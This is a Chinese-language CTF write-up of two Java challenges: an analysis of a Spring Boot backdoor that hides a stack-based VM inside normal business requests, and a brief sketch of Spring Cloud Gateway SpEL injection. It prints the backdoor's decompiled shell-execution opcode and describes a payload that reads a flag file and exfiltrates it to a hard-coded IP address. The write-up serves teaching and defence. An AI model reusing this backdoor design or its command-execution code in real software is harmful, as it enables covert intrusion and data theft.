第三届“长城杯”网数智安全大赛(防护赛)总决赛Java题部分
字数 4310
更新时间 2026-05-10 16:56:10

第三届“长城杯”网数智安全大赛(防护赛)Java题Writeup与教学分析

题目一:notjavaweb (Spring Boot 后门分析)

1. 题目背景

题目提供了一个Spring Boot应用JAR包(movie-review-system-1.0.0.jar)、一个加密payload文件(payload.enc)和网络流量包(traffic.pcap)。解题目标包括:分析后门机制、还原攻击过程、逆向后门程序、解密恶意载荷,最终从流量中提取flag。

2. Spring Boot 后门机制深度分析

2.1 核心组件

1.1 VmContext 类

@Component
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public class VmContext {
    private final List<Object> buffer = Collections.synchronizedList(new ArrayList());
    
    public void appendEvent(Object event) { this.buffer.add(event); }
    public List<Object> getBuffer() { return new ArrayList(this.buffer); }
    public void clear() { this.buffer.clear(); }
}
  • 作用:为每个用户会话维护一个List<Object>缓冲区
  • 存储内容:StringInteger类型的事件
  • 会话隔离:通过@Scope("session")注解实现

1.2 AnalyticsReportGenerator 类(虚拟机实现)
这是整个后门的核心组件,实现了一个基于栈的虚拟机(VM)。generateReport()方法遍历VmContext中的事件列表:

  • 当事件为String时,直接压入栈
  • 当事件为Integer时,作为操作码执行

2.2 VM指令集详解

操作码 功能 栈操作描述
10 读取classpath资源到byte[] 弹出路径字符串,压入资源字节数组
11 数组读取 byte[idx] 弹出index和byte[],压入data[index]
12 数组写入 byte[idx] = val 弹出value、index、byte[],执行赋值后压回数组
13 按位异或(XOR) 弹出两个整数,压入(a ^ b)结果
14 乘法与截断 弹出两个整数,压入(a * b) & 255
15 写文件 弹出路径和字节数组,写入文件
16 执行系统命令 弹出命令字符串,执行系统命令
17 获取数组长度 查看栈顶字节数组,压入其长度
18 字符串转整数 弹出字符串,尝试parseInt后压入
19 复制栈顶 复制栈顶元素
20 交换栈顶两个元素 交换栈顶两个元素位置
21 无条件跳转 文档未详述具体实现,但基于虚拟机设计模式,此类指令通常用于控制流
22 条件跳转(条件为0时跳转) 同上
23 减法 弹出两个整数,压入(a - b)
24 加法 弹出两个整数,压入(a + b)
25 Pick(按索引取栈元素) 弹出索引idx,取栈中第size-1-idx个元素压栈
26 Drop(弹出栈顶) 简单弹出栈顶元素

关键指令16(命令执行)实现细节

case 16:
    if (!stack.isEmpty() && stack.peek() instanceof String) {
        String cmd = (String)stack.pop();
        try {
            ProcessBuilder pb;
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
            } else {
                pb = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
            }
            pb.redirectErrorStream(true);
            pb.start();
        } catch (Exception var10) {
            Runtime.getRuntime().exec(cmd);
        }
    }
    break;

2.3 事件参数注入方式

后门通过两种方式向VM缓冲区注入指令:

1. 整数注入(操作码)

  • 入口:UserBehaviorAnalyticsAspect切面
  • 触发条件:调用PUT /api/user/avatar接口
  • 参数:emojiAvatarId(1-26的整数)
  • 机制:通过@Before("updateAvatarPointcut()")拦截,将整数添加到VmContext

2. 字符串注入

  • 入口:ReviewController.add()方法
  • 触发条件:提交评论时
  • 提取规则:从content参数中提取[...]括号内的内容
  • 示例:评论内容"这部电影很好[secret string]"会注入"secret string"

2.4 触发执行机制

  • 触发点:UserController.logout()方法
  • 执行流程:调用analyticsReportGenerator.generateReport(buffer)
  • 结果:触发VM执行缓冲区中所有累积的事件序列

3. 攻击流量还原与指令序列分析

3.1 流量特征

traffic.pcap中提取的HTTP请求序列:

  1. POST /api/login → 触发vmContext.clear()清空缓冲区
  2. POST /api/user/avatar → 注入emojiAvatarId(整数操作码)
  3. POST /api/reviews/add → 注入括号内的字符串参数
  4. POST /api/logout → 触发VM执行

隐蔽性分析

  • 指令分散在多个正常业务请求中
  • 每个请求只携带少量指令片段
  • 与正常业务流量混合,难以从WAF或流量设备中识别
  • 可进一步加入混淆流量增强隐蔽性

3.2 还原的VM指令序列

通过解析流量包,还原出完整的67条VM指令序列。这个序列实现了以下逻辑:

  1. 加载payload.enc加密文件
  2. 执行解密算法
  3. 将解密后的二进制写入文件系统
  4. 执行解密后的程序

4. payload.enc 解密分析

4.1 解密算法推导

通过逆向分析VM指令序列,推导出解密算法。解密脚本核心逻辑基于VM的操作码实现:

  • 使用操作码13(XOR)进行异或运算
  • 使用操作码14(乘法与截断)进行字节变换
  • 通过操作码11和12进行数组读写操作

4.2 解密结果

解密payload.enc后得到:

  • 文件大小:3,964,576字节
  • 文件类型:ELF x86-64可执行文件
  • 开发语言:Rust
  • 性质:真正的后门本体

5. ELF二进制逆向分析

5.1 后门主要功能

  1. 文件读取:读取/home/ccb/flag.txt
  2. 自定义加密:使用修改版的AES-128-CBC加密
  3. 数据外传:将加密结果通过POST请求发送到http://192.168.117.1:9961/api/telemetry

5.2 加密参数定位

参数 文件偏移 值/特征
AES密钥(16字节) 0x5280 4a7f2c91b35ed816fa4309cc7be5283d
CBC IV(16字节) 0x5270 8e1af65530c974bb2d974e1160daa73c
自定义S-Box(256字节) 0x6970 完整的256字节置换表
Rcon表(11字节) 0x6a70 00 01 02 04 08 10 20 40 80 1b 36
ShiftRows表 0x6930 [0, 3, 1, 2]

5.3 自定义AES的三处修改

与标准AES-128的区别:

  1. 自定义S-Box

    • 使用非标准AES S-Box
    • 自定义的256字节置换表
    • 影响SubBytes步骤的字节替换
  2. 自定义ShiftRows

    • 行移位模式为[0, 3, 1, 2]
    • 标准AES为[0, 1, 2, 3]
    • 影响ShiftRows步骤的行移位操作
  3. CBC模式使用自定义IV

    • 使用硬编码的16字节IV
    • 与标准AES-CBC的IV生成方式不同

6. flag获取与解密

6.1 流量数据提取

traffic.pcap中定位POST /api/telemetry请求,提取POST body部分作为加密数据。

6.2 解密EXP编写要点

  1. 实现自定义AES解密算法
  2. 应用自定义S-Box和ShiftRows
  3. 使用题目提供的密钥和IV
  4. 按照CBC模式进行解密

6.3 最终flag

flag{F1n@1ly_Y0u_G0t_Th1s_f1ag_and_f1nd_7h3_TRUTH_D0_Y0u_L1k3_1t?}

题目二:app.jar (Spring Cloud Gateway 表达式注入)

1. 环境分析

题目提供一个从内网拖出的JAR包,经分析为Spring Cloud Gateway应用。

2. 漏洞发现

2.1 未授权配置

解压JAR包后,发现明显的未授权访问配置,这是常见的安全配置错误。

2.2 版本与漏洞关联

依赖分析显示组件版本较新。根据CVE历史记录,重点关注:

  • CVE-2025-41243:Spring Cloud Gateway SpEL表达式注入漏洞
  • 影响范围:可实现任意文件读取和DoS攻击
  • RCE条件:需要配合其他依赖(如h2数据库)进行配置修改的链式利用

3. 漏洞利用分析

3.1 漏洞位置

题目中提到的/analyze接口存在原生反序列化点,但存在以下限制:

  • 需要有效的X-Token头部验证
  • 需要特定的反序列化依赖链
  • 没有明确的攻击向量提示

3.2 任意文件读取POC

文档未提供具体的任意文件读取POC,但基于CVE-2025-41243的典型利用方式:

  1. 构造特定的SpEL表达式
  2. 利用Gateway的路由配置功能
  3. 通过表达式注入读取服务器文件

4. 攻击链推测

可能的攻击路径:

  1. 利用未授权访问绕过认证
  2. 通过SpEL表达式注入实现任意文件读取
  3. 读取敏感配置文件或凭据
  4. 结合其他漏洞提权或横向移动

总结与教学要点

1. 后门设计模式

  • 指令分散:将恶意指令分散到多个正常业务请求中
  • 会话隔离:利用Spring Session隔离不同用户的攻击载荷
  • 虚拟机隐藏:通过自定义VM解释器隐藏真实攻击意图
  • 流量混淆:与正常业务流量混合,规避检测

2. 逆向工程技巧

  • 动态分析:结合流量包还原攻击序列
  • 静态分析:反编译JAR分析代码逻辑
  • 密码学分析:识别自定义加密算法并实现解密

3. 防御建议

  1. 输入验证:严格验证用户输入,特别是数字和字符串参数
  2. 代码审计:关注自定义解释器或虚拟机实现
  3. 流量监控:检测异常的请求序列模式
  4. 依赖管理:及时更新存在已知漏洞的组件
  5. 最小权限:限制应用程序的文件系统访问权限

4. CTF解题思路

  1. 环境分析:识别提供的文件类型和关联性
  2. 入口定位:找到漏洞触发点和数据流向
  3. 逻辑还原:通过动静结合还原完整攻击链
  4. 工具编写:实现必要的解密或解码工具
  5. flag提取:从加密数据或网络流量中提取目标信息

此题目结合了Web安全、逆向工程、密码学和流量分析多个领域,是典型的综合性CTF题目设计。

相似文章
相似文章
 全屏